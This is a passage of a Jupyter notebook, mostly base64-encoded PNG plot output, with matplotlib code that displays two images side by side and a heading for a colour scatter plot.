npIXNDWJFUC1HbXx\n5VvLuyi+TFTfozlR5xl/OGye+IINO652HcYYnqczu+7QaKs1YlByVfrhgJT278FZlvFEsQOmjqS1\n2QIB0BXfXTdE/Ub9NZKw4rY3c0MoE2NcKCpobg4ccR26PGP3V+x2O2KqGFXm9++wVzuseq6vDlRj\nOZ1OOOdYTo94b4nzyG7/ilonkEIG8vPYvmZdz83tLVWUzz77HsvlxPFwxTdv3lBr5fb2li/fvuV7\nn3zC89tnTjXz6csXnKYZa5VvvnmgzGeOx1vm84kcdnjXkeMKktiFjvEyt3xkqo2sYD1qLa4q0fa4\nMpMuz8juCsQ3WZcYXPDE+MGwWVCtuDBAbUENpCV6SmqjLjEBaMDN/6e9c2m1Jcv2+m+MOWfEeux9\nHplZD+taXrSgkBJRL9gT9KP4HezZ8XPZsaEIYkcvCIIgFoi3srLytc/ee62ImHOMYWNE5gXBziUP\nVSTx65zOOXk2J9eKEXOO/0PUsXWPHlnu6Ju3RF9QPRG2oG3a66CNMuXd+7ZtMDqlVhyD+T1iA/FA\nFazfdoNm5KCzTq2VPgbxP/7zH/VE82/+4jdhvnIbwRYl44ooNJQXHcweTCXwXkC2DBJF6G40BoMz\nFo5KJ7xh4Xn/j7N4pUQ+7CWyPdvMvl8S11bom9NaQQwUo4VhoogNLlPl3FfObdBEKVKpeCYFVNn3\nHNPuBwlKDU6qlD2CyMIpZhSFaVKQM+HAXkQXu7S4iaMleCg15dAUZMrTB6QDfuxv7za23OuKMasz\nVWcO4ToZi008j0JfNrxA7xk509Xp5sSohErWkaukqAHDyKQJLcFkwrcCjEJXY8TuD9rj+Fvkn5eo\nDOlEFIZolhrGitPy/40WhlmmDYhSx35qLUaNCtOgS3D2iSjKtTVkvTNZpYuxqVFHcHPFFF69o9JA\ng9YbteR1Wi8DNWEN4Xn3kJnCWSpuhdUFL+nTWX1Qy4l1GawVQAnSqxYC//b3f/hxnWgYC7U/My4N\n5kxVLpdHNjMulwuvy4b6IJYB/cJaDLxT6x1lRqYLjY5hLD7D/QkZFZkv9NcNnWfKuVHODzwtG6WA\nWrBtG0M1nc63V6I+UOYTsXY0gmXpKZlGsPsLp4fP9qV2Kl0andU32Dyv/TzAjMe3b1lW4/X5C+J8\nJvoGYwEGsS0gyrXNnOvE6aRYd9qbd8inj8htMD8+8vr8wmTwk0/e87vtzvn6wMP5E96+b3z+f278\nnV/8Xb5cvuHPf/kr/vDha74B7k/f4gW25xvXy4X//l/+kk9/8XPGGPzuwzPz45Uv+p3ejX77wP98\n+j2XywM9nHma2fwdWmbG9Ab6M91Shilt5nUdSDszPXxClMr2+kqwYKIYcL3/jkWv0C5EX3PxT6dc\nHzGdmeeefpfuRGuM5YV6PiNzI6Sk0GAJaI0gk4hBIZxaKqGOP7zHP3wBWrGSQ0J1xsZA55lx/0Ap\nQdOCFQc/E5Oi0akibPdvsPaGE0HftjQBT0psS57GfmBJ59+E13Vj6ULEfr0rgBgeRht5ctiGgTuq\nhT4yHLFqAcmBEyJENHo45oqRLbQTA6TjfeZcIs2AqXqkwAAAEmNJREFUzSkoRZQTAad8GSgyWHFO\nPVL5WZWr3oh2JqIxo6zFuUzX9JHcngltVMnk46mmQuruSosgIt/KqzaKw/11A10wC05zvkWnARo2\nddyF57rRohGyMTXBLeOCFGfS766aBLdO0wJTYaykE98qa2THyusWjCq4C1qc0VNw830KKKnayxoC\nxT3ooVSHW2SaeJddJmxb/h5TVIPbSLlwLYMxjBBw72wqaBQGA5dMXRZNv5OJsqlSqlJoOMo2UkH3\ntA+xb3bhQPFO3augAbbIEpmqE92dKQo3hdmUYcIZ5RvpjCEseyRQ9yBEKWH0XWywWqGL022lFCVC\nabIPTfhOwPaD8adxovlH/zzqlKY+rY3CCdHdwDk2uL/C5R3n08T9w5dAzS/g+hXl+p7arrT5wstr\n1gVHf2E+XZB6Zn2+M4szffKeqTbUhQ/3ldGUszgvI4jthprgcYdtQ6cJ7460BWImThW8UkP2xfae\nkRQb6JnS8mF3Op8zB02F9b4QZpzPDynD3Y/qRR378Mr1esXdWaQz9mXrrJX6/szLF3/Ah/LZz3/K\n7cM32Lrx9u0j29ONT9898vunb1lt7AtA4XQ9MU0n7q/PvHnI4M2x5ED7jiLK1lMpptOUhrPeYRvM\n05usb6Uz+kY7QV8W2uWz/PKMTp1PDGdvw3yBdsnd2foKOiHzKa8Sl6y31suZvi2kkWYPwjy9oY07\nqw/C8o3R7+lzEsmImHp+JDxrcu32RL1cGK8vTI/vCFIeWguI5J26TwUtmVQr6x7TEYFME75smZzr\nMxSjr7vGNQAGaENUmaaJHk5FWP/bH1fe/K/+4a9CRFiH0yyjQarmDmZBcXUKnqexqHS1lKDvcubq\noEVofBeOWBlsVJ8JVmwITIGbUsRo3hDbCM2UIcgE6eITpxrU/QF1OVVivlK2pzwFjYwv4Ts5c8l8\nE3OIquguYQ4vzCV3n83Sn1E19w0aOQKbwGKdVgoR8OakGRWjgZjvuXopuwXLoeW5ANcAl3S3Twqt\nFE4yqKXjMnHbjFUm5jn3rt2DzcBiwpz9dPKdgAHQfShQ6DYYngNt9coQp5rRsHzxMeEuF2y7YWrM\npzyZX3XGi7B0z4U/pABBV06c2GTfpQxDqHy1bfx+DS6tsIrQpOwnpkCtUHRDvGM0UMUMXNP8GRG8\naOUWhtngUjJ9XiU4SQ4nd+gKkNeaVTT3SgISkfL1KNm2Kd+dPoV/9+UPJ2/+kxg05Z/8i/C1U85Z\nPhTbgm0GqhQpmDin6cKy7llU0bleH+irsd1uuxIqq59ba5Rr5fnDgj9/CfN1V7TkB+vN27cYhc02\n6tjwMrGuHfEOPohx53Q6sWxOO59o84Tv4Xt9gypKe/uG++srkxpj3fBxZ5pnus7EWKB3ZH7IB25/\nhXLCey50rT7Qmn2vOpmnB+5f/xWGI5czVR+JuMNqmK17j82UkTkvL3z6t35GDOPp9sL7hzdc5hP9\ntvCHb7+mvX2glcLzl99Qp4YP4ydv3/P555/z2S9+jpjTysRXz0+8/+mfga08LTfuv8tTAueZN+/e\n8fzVV/lltuxoYQR6mvOa5PKYV4Ai3F/2oUIwgjTG1jnTt9mP4BZ7sm3kfy8GlBli+z6XDEjDXvi+\nk5H8d5wUto0yAmunrF2O2OPh976bCMo0Yd2YroXtlju3Syvc+grrQqmK1XewvOTfQ+ZbIQ05P1J8\nTWmpQ/yv//pHHTT/+h/8OlbtSD1RfGPeByrr4D4Vom9MVemWET1NS57o3OiRmW/snoipBPcBp5Iu\ndIvByJha9nV3vqyE51WaDVyFLsoEhDkthD7lVXIjfTXp/zJ+osqrBOctWGc4x8ywvNs/VWGT4KE4\nbc/2wpVJC6eakl+2hSHB2ff2zFNjKoPT3qS51leGn/h6a7yLoJvSyoT7B1oJtG4UuVIs/SC3rXOZ\nC/N5Rd+eaBu8PgU3hbEqlYCYWeKVKJlwXaNmBlnAsODhDOd65WlZWHtQG9SRQqS1B7d9L2WlMhyM\nwhgLVmuq1sQZewCmD8Exaua7oEWw4XSRrEVXMqUilJvvHTWqiAUigUkwYsasE8UgavbdZCBNlqft\n16qOMZCs8BYhXOmagy4QNlKxp8W5O0xkdA2yJ9N7pj0vJvkZkcJ/+rENGvn7/ziknog1h0ZtJ8aa\nWVbiEMtLfnnmwnR9ixlAYC+vtLdvM8kZZdGUMuvUuM4nXl9fafWE6OD16QPldEZGZ2wb5zdXrE70\n/kRY3pmO+wvMJ3SauLYL97XvwoKN6c0D56I8PX3BfLqwuaTKTAps3+aHYH5Dna+08wP3p2+gFUqd\nmK8XmgVDYSrKy9MHzDce330KPTvIx7JS6gYWnB8/ITSbBZkqDCPuN9rDmWVZuH944XQ5UxjU+Yp4\n1rzev37i17/+Nbex8dvf/pbT9czyeoNhnD99j5mx3u58+tlnlKp88fnngNCuD5SRDxPXzJgbPWhl\nsC2vufAvE7w8QWug572bZsaj4etLRmec37Asz4BCT/GGTG+zunldmKaJ4Yb3hdquWPheb+tUKtEm\nbLllZtrUkLGy3p+AKZWBbcJjQ2q2nUpsxLLlwKmNMjWaZpAp25IH31bJTe+dMjWGakbeioAb+D27\nUciIjz/2oPmXv/lNfA3cNuMsjlrmVTVRHkI4OTypUbZ8q23FEdkQMrYFAxXBi3FuJRuvO7QIhvWU\nrpZUhw3+OpD03eMJ6U9c3r1B/gDNO1+XCd86Y8ra7lPc+FlkLYeocb4op+2JejkRy4WIzm2PHGrR\nkVqQMriOfABSG+rBw5TXqG9GwWShcsp6jFioXtncmOczD9dG8Q+siyLe+HBbiThzH3DvC24z36hz\nE+FWSkqBR3DrYOdXptF4bAtYxQku9pYyfcg4qFCMwq02QBEf1KGobhTPq1kBygi2JlTSvzQoe+il\nowQulaCDnxnc0ajcY8/kI9KH6XlUVJ3wMiheuG/BVpwN6FJ4EzloglzWqzoPnhE+IsKrBCKNu480\nxe7D+aYFTLmJ8UqqV0/OvofZbwr2E86ZvPkPL9kyKyCagoF15N9TvtsBhfMfv/rqxzVoDg4Okn/2\ny18FBFaNx+7MFWoUtL7SODGbI2XmLsE3kgop12xVnEKQUnKYjr5LyhsxOlOVlA3H/vAJY4tCp/Ak\nK++6oqT/poQzkf4WyEiZWXNndAqhsFFNWTU4AW6KaGeUSD0P8OiFReBdSRWb1pVXz+IxN6iq3D2V\nURp5U4A6EUYTqAgXD7xkICWyMmlBXalq1JapBzaCVwN8ZVXlFIpFQXcPkWm+sc9V+FmpwGDZOjef\nIDpRpl0WnA/94ZE/Y14kYQO+QXnQ9OWZKGsHUaNFNpkC3EN58YzivwGTRAbTSslBBCi5pEcGXWdq\nZKHcxshCtlJ5jvRNnVTpkd096qlEjAg2lbzuirK/MBjDYQ1j0gJR0ZK7qQhhCiEKnCSoPngtigyl\n71bDHoMRhVcL7pKqs80NPPgPX335IxMDHBwcAHnQUlEmaZSyIoBJYebC6vmwKn5n1sqvtPCuBa8s\nbJrqRw1DQ6AV7n3jwfMO/nEIq2yMUKwUegQv3XmWwYMoopLKzCicRZky95yG5i5FDEy5aL7dX4pT\nJZiiINPCRF5jDiEDWTHmIsBKbalu+0kpVDFElKmyFw/Gfv1qbN15O53wWHDPQUIoJukpERusGnsf\nU+DeoQhvtXM67ZUUYszVaLFx6xOGcs8zAuZ3lh7MZWIqK2edMOusIdxXuIlRRMH3GJhSsGrUnuGl\nJVXQXJphrnTNqgGAN563KrUqV8BMmWrQXVlkYvHBLQQLQWPOAREpQqhaEODuzkQBd1zhLkITYSpk\npiBpqMSVpVbcnXMoDThrSrKbbmgIooM7jXUEqxW+lhRDiEPfr+YmhAsV2VOjiyjdLPUnP/Dn+hg0\nBwd/QqxmVFUqRiWYRLjooDq8BUp1mk7cetDN+N/iSBSGOldXioJF5bULX47KVoT3pfBn7jzKnIq+\n2AMXW804moDZJWPuGXwYIKLUPZq+WNYDpPhVaJLv6HMIV3HcFd9VcmqGUVM+a86k6YMRERiOqaCx\nZ8yZsbkzl1SRiQivw2iu0Eq+xe+S4WV0Sg3Caj6siyHTxMzARja7ug7UMinCqMQU6BAqsPZOX1NE\n8NwXytS4h3NSmJgYtXO1mtddJVX824BXd0KDxdKnMlwoBE3JHhjvhFdWaaCOu+G0zFILo6vRR0GB\nOoxSMk7GJKAU1FMcsUagkQm02komKZumuVOM5pki0CIIcc57PJGzx6TJbqo1p2hhI6X9qpWH6Lwv\nCpIno2+rZLqECB7BFrnfsV1xVvZgzx+SY9AcHPxJkfFIPZQhMDR9I4822EQp3Xlq/n1V83NUNir3\nnn6WzZy7pytdfVCY+KvR+VaDn8TgVIVmzlyUNz3YxHi1wrfhDAXzwhz5ACrqqDlOTZltCM+uVCZq\nC2woi6QK6yJKpfAig/cDasl64/dbSe8Pyiidef/B61CuAbU1uiu9L1xK4+aAXLivG6YTTTuPpfIc\nK59YpQZUzkTc+TDuvFrwME+MUHooFx1ZcmigptzNuPWVWqcMeUVpuoeCj+BeCmo9TYytgRsnhBcz\ntrCs3lhXThUilFsJtqj0WJl6Dhdi5RaVVQQodNtwyVLDQoqZIjKJWVhRn/iAoX0AwiKZlFDd2LTh\n3dEqdPJ0NYllTpznrx2hiLDa4EErdxU2guGFNWB4Jk9rEdxgQ1EqU2Tg7FgdLwYBF4RNjBOp+LuL\nZmKA/gizzg4ODpK/+OXfixPpBZrMyZsZpbPxYpWmloINzy6VSqGkmyTzyAjMBa+DD36ikPlnRL7Z\nzxUqzkqworlHAIS/Tg8ue8Am+3Uc+9t7oaSUGOFE+l6sZuLvJI26pxAEnUKhKJwM3qpRQ+gKZXgu\nB4alf8Mzd63u9cSxx90MBQ3J3iCC2StD8zS2uVG7s+H8tMBlUi518F5npuLZmKmCq7MOYRlBF0Gp\ne2y+4b4bNQHjjMvAEXoRqu3Sac18w23bmCOl5bd9oFWCprtvKYJtTyX/LmtuHYHVoEZh7NluSwQr\nWXVdI/uaIrKBMyOEhJd9Ka81o3BKDGbRXWAZ9L32uWmKDRZTXGDOUmi2yKoNE2HFuHuhh9GkMO9S\ndIuBM3GPkUbX3V6R2Wj5ubIQ/v233x47moODHyONrEio3TjNlc2d1dLE1wqMELql3+GicI5BSMlk\nX4HuwqsGS5/2RXjufE5a8s9Z51InrmZYLazD0kOzD5epVFxA3bhq4BLEnj6gYbyfguLp0VjDuOvE\nsmW8yhDBewMmVBeKC5s4EcJJK5fhRIVTMdBgs9j9U1m8VYYg1bJEbAzm2ggXioBL1iUUlEdVZB4U\nvQDOFxi+VHovXKZgDqda5a4Oe/VI8TtFOlM7877mtZyUVMFpLBjZHUPfQ0mDjGEKp4sSJQhVyjYg\nNBstI0NCO1krcttlx0ODBSE2wyWYq3AJ5VLgXFM2vrpkgojvzQ5DWeO7iB2hRsEIFlWWSCVhAERB\ntfCyq8UgDee+S9oHyuTOC/lCom64CDd3hgolsn128nyZKbFXTEe+OPS9EtpD//8f0r8Bx4nm4OBP\niH/6t/88muj3Sqx1jxFJU+SUKdSSyqgNxz0lsbJ/jQWHMn3vpQkZWDSK9O+TD0R0d+vt0UmRLvei\n6W+ZtaIiVDqqyixKU+fs8OJ5p7+oEKpcQ4mq9F6IstFGMGn6SPJUAFchQyY9QIxPIrjutcSlZBSL\nROBkeoAGIJ0HmcgsnMatp8H3BPsi+ztD6qBGgT0iP6JwI7h5cA3DTTDNWuOiu/CgTLgZImRDL9Da\nxBR5Ois19zwn1TwRurD6Qnjlepm5rQ4aVE9D7RZ5qggUk073rGXurjwHnGtBv7M39DwkeBG8wran\nISxhubfxwPaeJFVlKoGRAZgROXiGG0KhqRGu3MmfRQM2rRnzJMq2e9QutfCmB6vupy/y54Y8ufT9\nNHwf2bEzJFi685dPP9yJ5hg0BwcHBwcflR/2fHRwcHBwcPD/cAyag4ODg4OPyjFoDg4ODg4+Kseg\nOTg4ODj4qByD5uDg4ODgo3IMmoODg4ODj8oxaA4ODg4OPirHoDk4ODg4+Kgcg+bg4ODg4KNyDJqD\ng4ODg4/KMWgODg4ODj4qx6A5ODg4OPioHIPm4ODg4OCjcgyag4ODg4OPyjFoDg4ODg4+KsegOTg4\nODj4qByD5uDg4ODgo3IMmoODg4ODj8oxaA4ODg4OPirHoDk4ODg4+Kgcg+bg4ODg4KNyDJqDg4OD\ng4/KMWgODg4ODj4q/xcSFp/MDyAjtgAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7effced885c0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "pl.figure(1, figsize=(6.4, 3))\n", "\n", "pl.subplot(1, 2, 1)\n", "pl.imshow(I1)\n", "pl.axis('off')\n", "pl.title('Image 1')\n", "\n", "pl.subplot(1, 2, 2)\n", "pl.imshow(I2)\n", "pl.axis('off')\n", "pl.title('Image 2')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Scatter plot of colors\n", "----------------------\n", "\n" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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